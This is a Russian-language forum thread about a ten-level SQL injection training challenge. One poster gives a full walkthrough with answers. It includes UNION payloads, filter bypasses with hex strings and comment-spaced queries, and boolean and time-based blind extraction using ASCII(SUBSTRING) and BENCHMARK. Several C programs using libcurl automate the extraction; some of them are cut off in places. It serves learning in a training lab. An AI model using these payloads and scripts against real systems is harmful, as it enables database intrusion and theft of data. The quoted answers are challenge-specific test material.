Просмотр полной версии : Челлендж по SQL Injection для новчиков
дабы не задавать простых вопросов по sqli рекомендую к прохождению
https://alexbers.com/sql/
ответы на все вопросы: /thread104591.html
Предлагаю посоревноваться
Первый, кто опубликует прохождение, получит печеньки в виде "+".
Приветствуются не шаблонные запросы, старайтесь сокращать запросы до минимального количества символов, в общем придумывайте какие-то ограничения и обходите их. Ждем!
p.s. Цветные не в счет
Так и не понял какой ответ на 4 уровне. Все данные из таблиц перепробовал.
Всё сломалось:
Cannot connect to DB!
p.s. Цветные не в счет
Ну блииин =(
M_script
25.03.2015, 21:01
MaxFast, dg
Так и не понял какой ответ на 4 уровне. Все данные из таблиц перепробовал.
Всё сломалось:
хинт: schema
TADIAMOND
26.03.2015, 03:29
https://alexbers.com/sql/1.php
Таблица: users
Поля: id,login,pass
Cannot connect to DB!
Что-то не пойму, так и должно быть на первом уровне?
psihoz26
26.03.2015, 15:50
Дошел до 10 и понял что alexbers полный извращенец!!
Этож надо юзеров заставлять blind и time based скули руками крутить!
для понимания, как все работает, это не так уж плохо
MegaByyte
26.03.2015, 21:44
в 8 левеле точно нет ошибки ?
там, где пароль пользователя с ником fast
billybonse
27.03.2015, 10:14
Очень интересный челлендж. Завис на 4 уровне.
select * from users where id=2' union select 1,ggg,3 from secret -- or login='$text' limit 1
А дальше как действовать?
Очень интересный челлендж. Завис на 4 уровне.
select * from users where id=2' union select 1,ggg,3 from secret -- or login='$text' limit 1
А дальше как действовать?
' union select * from secret where ggg='abc'--
только ппц как условие звучит.." найти ДАННОЕ таблицы"
billybonse
27.03.2015, 15:03
' union select * from secret where ggg='abc'--
только ппц как условие звучит.." найти
ДАННОЕ
таблицы"
Спасибо. Вот именно условие меня и смутило...
Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка
' union select table_name from information_schema.tables where table_name='secret'--
Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка
' union select table_name from information_schema.tables where table_name='secret'--
Ну раз ты пошел таким путем, тогда так
'union+select+column_name,2,3+from+information_sch ema.columns+where+table_name='secret'+--+
в итоге: 'union+select+dfgfddfgdfdfdf,dfgdfgfdg,null+from+s ecret+--+
но, можно и проще:'union+select+*,null+from+secret+--+
Ну раз ты пошел таким путем, тогда так
'union+select+column_name,2,3+from+information_sch ema.columns+where+table_name='secret'+--+
в итоге: 'union+select+dfgfddfgdfdfdf,dfgdfgfdg,null+from+s ecret+--+
но, можно и проще:'union+select+*,null+from+secret+--+
почему union select 1,2,3 ? там ж, только 2 поля
А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать?
А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать?
варианта два. либо true (когда нет ошибки), либо false (есть ошибка). на что похоже?
на слепую? Но как то пасс узнать
winstrool
29.03.2015, 23:49
Дошел до 10 и понял что alexbers полный извращенец!!
Этож надо юзеров заставлять blind и time based скули руками крутить!
А кто тебя заставляет руками крутить?
наконец то прошел левел 8. Сколько там уровней?
наконец то прошел левел 8. Сколько там уровней?
Десять.
Сам остановился на десятом и забросил.
Десять.
Сам остановился на десятом и забросил.
на 9 остановился и пошел спать. На восьмой где то 3 часа потратил. Нужно еще подучиться.
апну тему. советую всем новичкам
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
Все просто, вводим запрос как он будет:
select pass from users where id=12;
Ответ: QwErTy
Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#
В итоге пучится :
select * from users where id=2 or login='' or id=9;#'
# - начало комментария, все что за ней - отпросится.
Ответ: secreto
То же самое: ' or id=13;#
select * from users where id=2 or login='' or id=13;#' limit 1
Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда
Ответ: iwanttogo4
Нужно отбросить лимит и приклеить еще один запрос:
select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
Ответ: dg
То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:
select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
Ответ: thisisapass232
Нужно решить проблему фильтрации кавычки:
select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
Ответ: ivarywantlevel7
Хорошо, что вы не знаете как я решал задачу сначала...
Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).
Пробелы успешно меняются на /**/.
Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).
select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
Ответ: level8please
Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.
Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):
0 union select * from users where login='fast' and LENGTH(pass)>3
нашло одного такого, пароль явно длиннее трех символов
0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;
printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):
[CODE]
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
Ответ: 9levlpass
Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id);
ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);
if(state!='1')return -1;
int cmax=20;//будем считать что нет логинов длиннее 20
while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:
48
131
125
1104
182
51
195
5
136
121
127
Ответ: 2225
Слепой запрос без вывода, time-based injection.
Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).
select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,E NCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%% 29+from+information_schema.schemata%%29%%3D%d%%2CB ENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB% %27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%2 9%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.
Сначала находим длину.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[420], *ret, state;
int i;
double time[50];
int dbNameLen=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+length%%28 schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000% %2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Ph ineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}
system("pause");
}
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все основано на этом запросе выше.
Длина имени базы равна 7 символов.
Теперь имя. По буквам (из за неточности пришлось увеличить задержку).
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
База называется "level10". Какой сюрприз. Мог бы и догадатся.
[CODE]
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(10 00000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На этом запросе основывался поиск имени базы
Теперь найдем количество таблиц в базе.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%2850 00000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doc tor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29% %3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE ('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все на основе запроса выше.
Таблица одна. Теперь ее имя.
Как всегда, сначала его длинна.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+++where+table_sc hema%%3D%%27level10%%27+and+length%%28table_name%% 29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28 %%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf +Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DR OP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Длина имени таблицы - 11 символов.
А вот теперь ее имя.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
[CODE]
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(500 0000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Имя таблицы: davidblayne
Вдруг это уже ответ? Нет, нас еще помучают.
Теперь количество строк ней (хоть это не сложно):
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK %%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C% %27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnul l%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.
Теперь количество столбцов.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCO DE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше
Тут 5 столбцов. Теперь их имена.
Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.
У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.
.SpoilerTarget" type="button">Spoiler
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,int columnNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",columnNum,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
for(i=0;i
[CODE]
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK (5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
